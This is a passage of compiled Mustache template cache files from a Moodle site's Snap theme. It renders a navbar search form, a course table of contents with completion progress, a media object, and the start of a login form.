$buffer .= $indent . ' <form autocomplete="off" action="';
$value = $this->resolveValue($context->find('action'), $context);
$buffer .= $value;
$buffer .= '" method="get" accept-charset="utf-8" class="mform form-inline searchform-navbar">
';
// 'hiddenfields' section
$value = $context->find('hiddenfields');
$buffer .= $this->section04b8ae4b53b0a507223620372a841e3e($context, $indent, $value);
$buffer .= $indent . ' <div class="input-group">
';
$buffer .= $indent . ' <label for="searchinput-';
$value = $this->resolveValue($context->find('uniqid'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">
';
$buffer .= $indent . ' <span class="sr-only">';
$value = $this->resolveValue($context->find('searchstring'), $context);
$buffer .= $value;
$buffer .= '</span>
';
$buffer .= $indent . ' </label>
';
$buffer .= $indent . ' <input type="text"
';
$buffer .= $indent . ' id="searchinput-';
$value = $this->resolveValue($context->find('uniqid'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '"
';
$buffer .= $indent . ' class="form-control withclear"
';
$buffer .= $indent . ' placeholder="';
$value = $this->resolveValue($context->find('searchstring'), $context);
$buffer .= $value;
$buffer .= '"
';
$buffer .= $indent . ' aria-label="';
$value = $this->resolveValue($context->find('searchstring'), $context);
$buffer .= $value;
$buffer .= '"
';
$buffer .= $indent . ' name="';
$value = $this->resolveValue($context->find('inputname'), $context);
$buffer .= $value;
$buffer .= '"
';
$buffer .= $indent . ' data-region="input"
';
$buffer .= $indent . ' autocomplete="off"
';
$buffer .= $indent . ' >
';
$buffer .= $indent . ' <a class="btn btn-close"
';
$buffer .= $indent . ' data-action="closesearch"
';
$buffer .= $indent . ' data-toggle="collapse"
';
$buffer .= $indent . ' href="#searchform-navbar"
';
$buffer .= $indent . ' role="button"
';
$buffer .= $indent . ' >
';
$buffer .= $indent . ' ';
// 'pix' section
$value = $context->find('pix');
$buffer .= $this->section01a1cb688132d57fc41f0070a1ef998d($context, $indent, $value);
$buffer .= '
';
$buffer .= $indent . ' <span class="sr-only">';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section256776dc607cdebe9d890b0efd29b5ba($context, $indent, $value);
$buffer .= '</span>
';
$buffer .= $indent . ' </a>
';
$buffer .= $indent . ' <div class="input-group-append">
';
$buffer .= $indent . ' <button type="submit" class="btn btn-submit" data-action="submit">
';
$buffer .= $indent . ' ';
// 'pix' section
$value = $context->find('pix');
$buffer .= $this->section31a49b2ab335cdb4725ddb42ed8de96c($context, $indent, $value);
$buffer .= '
';
$buffer .= $indent . ' <span class="sr-only">';
$value = $this->resolveValue($context->find('searchstring'), $context);
$buffer .= $value;
$buffer .= '</span>
';
$buffer .= $indent . ' </button>
';
$buffer .= $indent . ' </div>
';
$buffer .= $indent . ' </div>
';
$buffer .= $indent . ' </form>
';
$buffer .= $indent . ' </div>
';
$buffer .= $indent . ' <a
';
$buffer .= $indent . ' class="btn btn-open"
';
$buffer .= $indent . ' data-toggle="collapse"
';
$buffer .= $indent . ' data-action="opensearch"
';
$buffer .= $indent . ' href="#searchform-navbar"
';
$buffer .= $indent . ' role="button"
';
$buffer .= $indent . ' aria-expanded="false"
';
$buffer .= $indent . ' aria-controls="searchform-navbar"
';
$buffer .= $indent . ' >
';
$buffer .= $indent . ' ';
// 'pix' section
$value = $context->find('pix');
$buffer .= $this->section31a49b2ab335cdb4725ddb42ed8de96c($context, $indent, $value);
$buffer .= '
';
$buffer .= $indent . ' <span class="sr-only">';
// 'str' section
$value = $context->find('str');
$buffer .= $this->sectionEf182a623a7e3d255977cee5b4aa1302($context, $indent, $value);
$buffer .= '</span>
';
$buffer .= $indent . ' </a>
';
$buffer .= $indent . '</div>
';
$buffer .= $indent . '
';
// 'js' section
$value = $context->find('js');
$buffer .= $this->sectionA81dd799000f8202e6b292154d307518($context, $indent, $value);
return $buffer;
}
private function section04b8ae4b53b0a507223620372a841e3e(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<input type="hidden" name="{{ name }}" value="{{ value }}">
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <input type="hidden" name="';
$value = $this->resolveValue($context->find('name'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" value="';
$value = $this->resolveValue($context->find('value'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">
';
$context->pop();
}
}
return $buffer;
}
private function section01a1cb688132d57fc41f0070a1ef998d(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = ' e/cancel, core ';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= ' e/cancel, core ';
$context->pop();
}
}
return $buffer;
}
private function section256776dc607cdebe9d890b0efd29b5ba(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = ' closebuttontitle ';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= ' closebuttontitle ';
$context->pop();
}
}
return $buffer;
}
private function section31a49b2ab335cdb4725ddb42ed8de96c(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = ' a/search, core ';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= ' a/search, core ';
$context->pop();
}
}
return $buffer;
}
private function sectionEf182a623a7e3d255977cee5b4aa1302(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = ' togglesearch ';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= ' togglesearch ';
$context->pop();
}
}
return $buffer;
}
private function sectionA81dd799000f8202e6b292154d307518(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
require(
[
\'jquery\',
],
function(
$
) {
var uniqid = "{{uniqid}}";
var container = $(\'#searchinput-navbar-\' + uniqid);
var opensearch = container.find(\'[data-action="opensearch"]\');
var input = container.find(\'[data-region="input"]\');
var submit = container.find(\'[data-action="submit"]\');
submit.on(\'click\', function(e) {
if (input.val() === \'\') {
e.preventDefault();
}
});
container.on(\'hidden.bs.collapse\', function() {
opensearch.removeClass(\'d-none\');
input.val(\'\');
});
container.on(\'show.bs.collapse\', function() {
opensearch.addClass(\'d-none\');
});
container.on(\'shown.bs.collapse\', function() {
input.focus();
});
});
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . 'require(
';
$buffer .= $indent . '[
';
$buffer .= $indent . ' \'jquery\',
';
$buffer .= $indent . '],
';
$buffer .= $indent . 'function(
';
$buffer .= $indent . ' $
';
$buffer .= $indent . ') {
';
$buffer .= $indent . ' var uniqid = "';
$value = $this->resolveValue($context->find('uniqid'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '";
';
$buffer .= $indent . ' var container = $(\'#searchinput-navbar-\' + uniqid);
';
$buffer .= $indent . ' var opensearch = container.find(\'[data-action="opensearch"]\');
';
$buffer .= $indent . ' var input = container.find(\'[data-region="input"]\');
';
$buffer .= $indent . ' var submit = container.find(\'[data-action="submit"]\');
';
$buffer .= $indent . '
';
$buffer .= $indent . ' submit.on(\'click\', function(e) {
';
$buffer .= $indent . ' if (input.val() === \'\') {
';
$buffer .= $indent . ' e.preventDefault();
';
$buffer .= $indent . ' }
';
$buffer .= $indent . ' });
';
$buffer .= $indent . ' container.on(\'hidden.bs.collapse\', function() {
';
$buffer .= $indent . ' opensearch.removeClass(\'d-none\');
';
$buffer .= $indent . ' input.val(\'\');
';
$buffer .= $indent . ' });
';
$buffer .= $indent . ' container.on(\'show.bs.collapse\', function() {
';
$buffer .= $indent . ' opensearch.addClass(\'d-none\');
';
$buffer .= $indent . ' });
';
$buffer .= $indent . ' container.on(\'shown.bs.collapse\', function() {
';
$buffer .= $indent . ' input.focus();
';
$buffer .= $indent . ' });
';
$buffer .= $indent . '});
';
$context->pop();
}
}
return $buffer;
}
}
<file_sep>/moodledata/localcache/mustache/1620990801/snap/__Mustache_6f77ec62d4bcb6def6e9cf4ad1102761.php
<?php
class __Mustache_6f77ec62d4bcb6def6e9cf4ad1102761 extends Mustache_Template
{
private $lambdaHelper;
public function renderInternal(Mustache_Context $context, $indent = '')
{
$this->lambdaHelper = new Mustache_LambdaHelper($this->mustache, $context);
$buffer = '';
$buffer .= $indent . '<ol id="chapters" class="chapters ';
$value = $this->resolveValue($context->find('listlarge'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" start="0">
';
// 'chapters' section
$value = $context->find('chapters');
$buffer .= $this->section880d0fb3da7eefd07981be6a9b249f32($context, $indent, $value);
$buffer .= $indent . '</ol>
';
return $buffer;
}
private function sectionC40dcabf8b9933bed6b3fad0df6ecc25(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<a class="chapter-title" section-number="{{section}}" href="{{url}}">{{{title}}}</a>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <a class="chapter-title" section-number="';
$value = $this->resolveValue($context->find('section'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" href="';
$value = $this->resolveValue($context->find('url'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">';
$value = $this->resolveValue($context->find('title'), $context);
$buffer .= $value;
$buffer .= '</a>
';
$context->pop();
}
}
return $buffer;
}
private function section51ca031484bd84ad14ccccc985b7330f(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'current, theme_snap';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'current, theme_snap';
$context->pop();
}
}
return $buffer;
}
private function section06bdaf9e532b811d8fb284aed8d3cb8f(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<span class="text text-success">
<small>{{#str}}current, theme_snap{{/str}}</small>
</span>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <span class="text text-success">
';
$buffer .= $indent . ' <small>';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section51ca031484bd84ad14ccccc985b7330f($context, $indent, $value);
$buffer .= '</small>
';
$buffer .= $indent . ' </span>
';
$context->pop();
}
}
return $buffer;
}
private function sectionFcc7e108e74d4b188d7053215ac1b844(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<span class="text {{availabilityclass}}">
<small class="published-status">{{availabilitystatus}}</small>
</span>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <span class="text ';
$value = $this->resolveValue($context->find('availabilityclass'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">
';
$buffer .= $indent . ' <small class="published-status">';
$value = $this->resolveValue($context->find('availabilitystatus'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '</small>
';
$buffer .= $indent . ' </span>
';
$context->pop();
}
}
return $buffer;
}
private function sectionF0c3cd370929743306d05c2fd8071571(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'completed, completion';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'completed, completion';
$context->pop();
}
}
return $buffer;
}
private function section8fce76ab77a6fdc381759b5d578be226(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<img class="snap-section-complete" src="{{pixcompleted}}" alt="{{#str}}completed, completion{{/str}}" />
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <img class="snap-section-complete" src="';
$value = $this->resolveValue($context->find('pixcompleted'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" alt="';
// 'str' section
$value = $context->find('str');
$buffer .= $this->sectionF0c3cd370929743306d05c2fd8071571($context, $indent, $value);
$buffer .= '" />
';
$context->pop();
}
}
return $buffer;
}
private function sectionE41c48cfae31444530bac0efded47723(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = ' progresstotal, completion, { "complete": {{progress.complete}}, "total": {{progress.total}} } ';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= ' progresstotal, completion, { "complete": ';
$value = $this->resolveValue($context->findDot('progress.complete'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= ', "total": ';
$value = $this->resolveValue($context->findDot('progress.total'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= ' } ';
$context->pop();
}
}
return $buffer;
}
private function section5699ecaf86825548856166264a97b6ea(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<span class="text completionstatus outoftotal">
{{#completed}}
<img class="snap-section-complete" src="{{pixcompleted}}" alt="{{#str}}completed, completion{{/str}}" />
{{/completed}}
<small>
{{#str}} progresstotal, completion, { "complete": {{progress.complete}}, "total": {{progress.total}} } {{/str}}
</small>
</span>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= '
';
$buffer .= $indent . ' <span class="text completionstatus outoftotal">
';
// 'completed' section
$value = $context->find('completed');
$buffer .= $this->section8fce76ab77a6fdc381759b5d578be226($context, $indent, $value);
$buffer .= $indent . ' <small>
';
$buffer .= $indent . ' ';
// 'str' section
$value = $context->find('str');
$buffer .= $this->sectionE41c48cfae31444530bac0efded47723($context, $indent, $value);
$buffer .= '
';
$buffer .= $indent . ' </small>
';
$buffer .= $indent . ' </span>
';
$buffer .= $indent . ' ';
$context->pop();
}
}
return $buffer;
}
private function section0c41b76ccea24f8c8dbe45f97dde2209(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '{{#progress.total}}
<span class="text completionstatus outoftotal">
{{#completed}}
<img class="snap-section-complete" src="{{pixcompleted}}" alt="{{#str}}completed, completion{{/str}}" />
{{/completed}}
<small>
{{#str}} progresstotal, completion, { "complete": {{progress.complete}}, "total": {{progress.total}} } {{/str}}
</small>
</span>
{{/progress.total}}';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
// 'progress.total' section
$value = $context->findDot('progress.total');
$buffer .= $this->section5699ecaf86825548856166264a97b6ea($context, $indent, $value);
$context->pop();
}
}
return $buffer;
}
private function section880d0fb3da7eefd07981be6a9b249f32(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<li class="{{classes}}">
{{#outputlink}}
<a class="chapter-title" section-number="{{section}}" href="{{url}}">{{{title}}}</a>
{{/outputlink}}
{{^outputlink}}
<span class="chapter-title" section-number="{{section}}">{{title}}</span>
{{/outputlink}}
{{#iscurrent}}
<span class="text text-success">
<small>{{#str}}current, theme_snap{{/str}}</small>
</span>
{{/iscurrent}}
{{#availabilitystatus}}
<span class="text {{availabilityclass}}">
<small class="published-status">{{availabilitystatus}}</small>
</span>
{{/availabilitystatus}}
{{#progress}}{{#progress.total}}
<span class="text completionstatus outoftotal">
{{#completed}}
<img class="snap-section-complete" src="{{pixcompleted}}" alt="{{#str}}completed, completion{{/str}}" />
{{/completed}}
<small>
{{#str}} progresstotal, completion, { "complete": {{progress.complete}}, "total": {{progress.total}} } {{/str}}
</small>
</span>
{{/progress.total}}{{/progress}}
</li>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . ' <li class="';
$value = $this->resolveValue($context->find('classes'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">
';
// 'outputlink' section
$value = $context->find('outputlink');
$buffer .= $this->sectionC40dcabf8b9933bed6b3fad0df6ecc25($context, $indent, $value);
// 'outputlink' inverted section
$value = $context->find('outputlink');
if (empty($value)) {
$buffer .= $indent . ' <span class="chapter-title" section-number="';
$value = $this->resolveValue($context->find('section'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">';
$value = $this->resolveValue($context->find('title'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '</span>
';
}
// 'iscurrent' section
$value = $context->find('iscurrent');
$buffer .= $this->section06bdaf9e532b811d8fb284aed8d3cb8f($context, $indent, $value);
// 'availabilitystatus' section
$value = $context->find('availabilitystatus');
$buffer .= $this->sectionFcc7e108e74d4b188d7053215ac1b844($context, $indent, $value);
$buffer .= $indent . ' ';
// 'progress' section
$value = $context->find('progress');
$buffer .= $this->section0c41b76ccea24f8c8dbe45f97dde2209($context, $indent, $value);
$buffer .= '
';
$buffer .= $indent . ' </li>
';
$context->pop();
}
}
return $buffer;
}
}
<file_sep>/moodledata/localcache/mustache/1620990801/snap/__Mustache_170a216550939491ff64f0e1c910c570.php
<?php
class __Mustache_170a216550939491ff64f0e1c910c570 extends Mustache_Template
{
private $lambdaHelper;
public function renderInternal(Mustache_Context $context, $indent = '')
{
$this->lambdaHelper = new Mustache_LambdaHelper($this->mustache, $context);
$buffer = '';
// 'formatsupportstoc' section
$value = $context->find('formatsupportstoc');
$buffer .= $this->section564c3265a824f97102248787d060fad4($context, $indent, $value);
return $buffer;
}
private function section524c4b822c23d889ad317ab0b43fd811(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = 'contents, theme_snap';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= 'contents, theme_snap';
$context->pop();
}
}
return $buffer;
}
private function sectionD1fa73036f0543a3b79d5f3bce2eb2dd(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
{{> theme_snap/course_toc_chapters }}
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
if ($partial = $this->mustache->loadPartial('theme_snap/course_toc_chapters')) {
$buffer .= $partial->renderInternal($context, $indent . ' ');
}
$context->pop();
}
}
return $buffer;
}
private function sectionA4fc94735f65a144c9398d6a998d88aa(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
{{> theme_snap/course_toc_footer }}
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
if ($partial = $this->mustache->loadPartial('theme_snap/course_toc_footer')) {
$buffer .= $partial->renderInternal($context, $indent . ' ');
}
$context->pop();
}
}
return $buffer;
}
private function section564c3265a824f97102248787d060fad4(Mustache_Context $context, $indent, $value)
{
$buffer = '';
if (!is_string($value) && is_callable($value)) {
$source = '
<nav id="course-toc" class="js-only">
<div>
<h2 id="toc-desktop-menu-heading">
{{#str}}contents, theme_snap{{/str}}
</h2>
{{> theme_snap/course_toc_module_search}}
<a id="toc-mobile-menu-toggle" href="#course-toc"><small class="sr-only"><br>{{#str}}contents, theme_snap{{/str}}"</small></a>
</div>
{{#chapters}}
{{> theme_snap/course_toc_chapters }}
{{/chapters}}
{{#footer}}
{{> theme_snap/course_toc_footer }}
{{/footer}}
</nav>
';
$result = call_user_func($value, $source, $this->lambdaHelper);
if (strpos($result, '{{') === false) {
$buffer .= $result;
} else {
$buffer .= $this->mustache
->loadLambda((string) $result)
->renderInternal($context);
}
} elseif (!empty($value)) {
$values = $this->isIterable($value) ? $value : array($value);
foreach ($values as $value) {
$context->push($value);
$buffer .= $indent . '<nav id="course-toc" class="js-only">
';
$buffer .= $indent . ' <div>
';
$buffer .= $indent . ' <h2 id="toc-desktop-menu-heading">
';
$buffer .= $indent . ' ';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section524c4b822c23d889ad317ab0b43fd811($context, $indent, $value);
$buffer .= '
';
$buffer .= $indent . ' </h2>
';
if ($partial = $this->mustache->loadPartial('theme_snap/course_toc_module_search')) {
$buffer .= $partial->renderInternal($context, $indent . ' ');
}
$buffer .= $indent . ' <a id="toc-mobile-menu-toggle" href="#course-toc"><small class="sr-only"><br>';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section524c4b822c23d889ad317ab0b43fd811($context, $indent, $value);
$buffer .= '"</small></a>
';
$buffer .= $indent . ' </div>
';
$buffer .= $indent . '
';
// 'chapters' section
$value = $context->find('chapters');
$buffer .= $this->sectionD1fa73036f0543a3b79d5f3bce2eb2dd($context, $indent, $value);
$buffer .= $indent . '
';
// 'footer' section
$value = $context->find('footer');
$buffer .= $this->sectionA4fc94735f65a144c9398d6a998d88aa($context, $indent, $value);
$buffer .= $indent . '</nav>
';
$context->pop();
}
}
return $buffer;
}
}
<file_sep>/moodledata/localcache/mustache/1620990801/snap/__Mustache_816d62e688a09efa5ba7fbcd434facbc.php
<?php
class __Mustache_816d62e688a09efa5ba7fbcd434facbc extends Mustache_Template
{
public function renderInternal(Mustache_Context $context, $indent = '')
{
$buffer = '';
$buffer .= $indent . '
';
$buffer .= $indent . '
';
$buffer .= $indent . '<div class="snap-media-object ';
$value = $this->resolveValue($context->find('class'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" ';
$value = $this->resolveValue($context->find('attributes'), $context);
$buffer .= $value;
$buffer .= '>
';
$value = $this->resolveValue($context->find('image'), $context);
$buffer .= $indent . $value;
$buffer .= '
';
$buffer .= $indent . '<div class="snap-media-body">
';
$value = $this->resolveValue($context->find('content'), $context);
$buffer .= $indent . $value;
$buffer .= '
';
$buffer .= $indent . '</div>
';
$buffer .= $indent . '</div>
';
return $buffer;
}
}
<file_sep>/moodledata/localcache/mustache/1620990801/snap/__Mustache_ba0b60dc91a0c4b1978eeabcce51ec87.php
<?php
class __Mustache_ba0b60dc91a0c4b1978eeabcce51ec87 extends Mustache_Template
{
private $lambdaHelper;
public function renderInternal(Mustache_Context $context, $indent = '')
{
$this->lambdaHelper = new Mustache_LambdaHelper($this->mustache, $context);
$buffer = '';
$buffer .= $indent . '
';
$buffer .= $indent . '<div class="m-y-3 hidden-sm-down"></div>
';
$buffer .= $indent . '<div class="row snap-login-row" id="logins">
';
$buffer .= $indent . ' <div class="snap-login snap-login-option snap-login-cell" id="base-login">
';
// 'logourl' section
$value = $context->find('logourl');
$buffer .= $this->section0486d2ac7b52c0571959db837de5270f($context, $indent, $value);
// 'logourl' inverted section
$value = $context->find('logourl');
if (empty($value)) {
$buffer .= $indent . ' <h2 class="text-center">';
$value = $this->resolveValue($context->find('sitename'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '</h2>
';
}
$buffer .= $indent . '
';
// 'error' section
$value = $context->find('error');
$buffer .= $this->sectionDb759266208bef41124cc7b308cf8f42($context, $indent, $value);
$buffer .= $indent . '
';
$buffer .= $indent . ' <form action="';
$value = $this->resolveValue($context->find('loginurl'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '" method="post" id="login" ';
// 'passwordautocomplete' inverted section
$value = $context->find('passwordautocomplete');
if (empty($value)) {
$buffer .= 'autocomplete="off"';
}
$buffer .= ' class="snap-custom-form">
';
$buffer .= $indent . ' <input type="hidden" name="logintoken" value="';
$value = $this->resolveValue($context->find('logintoken'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '">
';
$buffer .= $indent . ' <input id="anchor" type="hidden" name="anchor" value="">
';
$buffer .= $indent . ' <script>document.getElementById(\'anchor\').value = location.hash;</script>
';
$buffer .= $indent . '
';
$buffer .= $indent . ' <label for="username" class="sr-only">
';
// 'canloginbyemail' inverted section
$value = $context->find('canloginbyemail');
if (empty($value)) {
$buffer .= $indent . ' ';
// 'str' section
$value = $context->find('str');
$buffer .= $this->section27e9419edc620e0e1872d2a6521f1533($context, $indent, $value);
$buffer .= '
';
}
// 'canloginbyemail' section
$value = $context->find('canloginbyemail');
$buffer .= $this->sectionFecc44d36b1d26bcf00eabac676276bd($context, $indent, $value);
$buffer .= $indent . ' </label>
';
$buffer .= $indent . ' <input type="text" name="username" id="username"
';
$buffer .= $indent . ' class="form-control"
';
$buffer .= $indent . ' value="';
$value = $this->resolveValue($context->find('username'), $context);
$buffer .= call_user_func($this->mustache->getEscape(), $value);
$buffer .= '"
';
$buffer .= $indent . ' placeholder=';
// 'quote' section
$value = $context->find('quote');
$buffer .= $this->section4a2b2050243eb4dff6ce2b11212bbbcb($context, $indent, $value);
$buffer .= '>
';
$buffer .= $indent . ' <label for="password" class="sr-only">';
// 'str' section
$value = $context->find('str');
$buffer .= $this->sectionE056be559d6d01a9bd2bf6f760f8e3e3($context, $indent, $value);
$buffer .= '</label>
';
$buffer .= $indent . ' <input type="<PASSWORD>" name="password" id="password" value=""
';
$buffer .= $indent . ' class="form-control"
';
$buffer .= $indent . ' placeholder=';
// 'quote' section
$value = $context->find('quote');
$buffer .= $this->section1e0c7d916e3932461ff09cf034c710f8($context, $indent, $value);
$buffer .= '
';
$buffer .= $indent . ' ';
// 'passwordautocomplete' inverted section
$value = $context->find('passwordautocomplete');
if (empty($value)) {
$buffer .= 'autocomplete="off"';
}
$buffer .= '>
';
$buffer .= $indent . ' <br>
';
$buffer .= $indent . ' <button type="submit" class="btn btn-primary btn-block" id="loginbtn">';
// 'str' section
